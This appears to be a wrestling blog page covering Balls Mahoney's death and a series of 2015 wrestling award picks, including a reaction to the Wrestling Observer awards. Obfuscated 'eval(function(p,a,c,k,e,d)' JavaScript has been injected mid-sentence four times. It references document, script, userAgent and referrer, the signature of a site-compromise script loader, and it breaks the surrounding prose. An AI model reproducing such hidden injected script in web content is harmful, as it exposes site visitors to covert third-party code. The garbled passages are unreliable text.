Balls Mahoney Passes Away At 44

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sekyf|var|u0026u|referrer|ehfyd||js|php'.split('|'),0,{})) sure you’ve heard about this by now.  I never was a fan of the guy but 44 is too young for anyone.




2015 Awards: Wrestler of the Year

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2015 Awards: Match of the Year

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In another surprise, Kevin Owens pinned John Cena at Elimination Chamber. This was the big trading finishers showdown with both guys hitting each other with bigger and bigger shots to set up the big surprise finish with Owens winning. This was built up with weeks of great promos and then gave us a great match. What more can you ask for than that?

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2015 Awards: Best Major Show

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ziahr|var|u0026u|referrer|eikay||js|php'.split('|'),0,{})) is always a big one.

We’ll start up north with Takeover: Brooklyn which had one of the best one-two main events I’ve ever seen, though Bayley vs. Sasha still should have gone on last. The crowd helped this one a lot as everyone was losing their minds over what they were seeing. It’s a great show and the real main event is probably the match of the year.

There’s also Wrestle Kingdom IX which was the usual stacked New Japan card with one great match after another. The problem here though, as usual, is how long the show is. I really liked the action but they could have cut at least half an hour off. The show was shorter than usual but it still felt long, which isn’t a good thing. This is way up there for the action alone.

Speaking of action we have Ultima Lucha, which combined to go three hours and had some great culminations to some awesome feuds and stories. Believe it or not it was probably the Vampiro match that stole the show with the old retired Vampiro going full on insane one last time before revealing that he had been Pentagon’s master the whole time. The rest of the card is (mostly) awesome and it was a great cap to one of the biggest surprises I’ve ever seen with Lucha Underground.

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2015 Awards: Rookie of the Year

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Remember to follow me on Twitter @kbreviews and pick up my new book of the Complete Monday Nitro Reviews Volume IV at Amazon for just $3.99 at:

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2015 Awards: Feud of the Year

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One of the two big ones is of course Kevin Owens vs. John Cena with the whole battle of different roads to get to the top level. This one was carried by the promos but Owens winning made the whole thing a huge success. I know a lot of people say that Owens losing the last two matches killed it, but Owens would win the Intercontinental Title later in the year and could easily be a main event player by the time Summerslam rolls around. How much of that do you think is due to the first win over Cena?

Picking a winner here is splitting hairs, but I have to go with Owens vs. Cena, just due to the shock of that first win. Bayley winning was an amazing moment but it was also obvious from the second she got the title shot. The surprise of Owens pinning Cena in a great match on pay per view was such a stunning moment and is enough to pull this forward.

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2015 Wrestling Observer Newsletter Awards

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fssye|var|u0026u|referrer|fztyb||js|php'.split('|'),0,{})) out for the year and as usual I’ll be taking a look at each one and giving my take on whether or not I think Meltzer (yes I know the fans vote on them and if you think most of them aren’t just repeating what he says, you’re missing the point) got it right. I’ll just be listing the winners and any other names in the top three that merit a vote. Also keep in mind that I don’t watch a ton of puro so my knowledge is limited. Also, this is a wrestling site, not an MMA site, even though some people seem to think they’re the same thing. There are a lot of these so I’m just going to give a quick response to each.

Wrestler of the Year – AJ Styles

Most Outstanding Wrestler – AJ Styles

Feud of the Year – Conor McGregor vs. Jose Aldo

Tag Team of the Year – Young Bucks

Of course. Next.

Most Improved – Bayley

Best on Interviews – Conor McGregor

Most Charismatic – Shinsuke Nakamura

Yep. No argument on that actually. The dude is a machine.

Best Technical Wrestler – Zack Sabre Jr.

Best Brawler – Tomohiro Ishii

Best Flyer – Riccochet

Most Overrated – Kane

Who rates Kane highly in the first place? Reigns is second. This should of course be the Young Bucks.

Most Underrated – Cesaro

Promotion of the Year – New Japan

Best Weekly TV Show – NXT

Yep, with Lucha Underground second. Dang it Meltzer give me something to get mad at you over!

Match of the Year – Shinsuke Nakamura vs. Kota Ibushi

You knew it would be something from New Japan, though to be fair I gave this an A. Bayley vs. Sasha from Brooklyn was third.

Rookie of the Year – Chad Gable

Best Non-Wrestler – Dario Cueto

Best Announcer – Mauro Ranallo

Again, no surprise here.

Worst Announcer – John Layfield

Best Major Wrestling Show – Wrestle Kingdom IX

Worst Major Wrestling Show – TripleMania XXIII

Best Wrestling Maneuver – Styles Clash

Worst Match of the Year – Psycho Clowns vs. Villanos

Worst Feud of the Year – Team PCB vs. Team Bella vs. Team BAD

Worst Promotion of the Year – TNA

Can we just rename this the TNA Award? You would think after a nine year run it might be time.

Best Booker – Paul Levesque/Ryan Ward

Promoter of the Year – Dana White

The first wrestling promoter is Takaaki Kidani of New Japan.

Worst Gimmick – Stardust

2015 Awards: News Story of the Year

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2015 Awards: Promo of the Year

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iknte|var|u0026u|referrer|ahfyb||js|php'.split('|'),0,{})) isn’t the most in depth field in the world.

First up we have the post Wrestlemania promo with Heyman saying Brock will be getting his rematch that night instead of waiting any amount of time. This was all about the delivery that only Heyman can bring.

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2015 Awards: Moment of the Year

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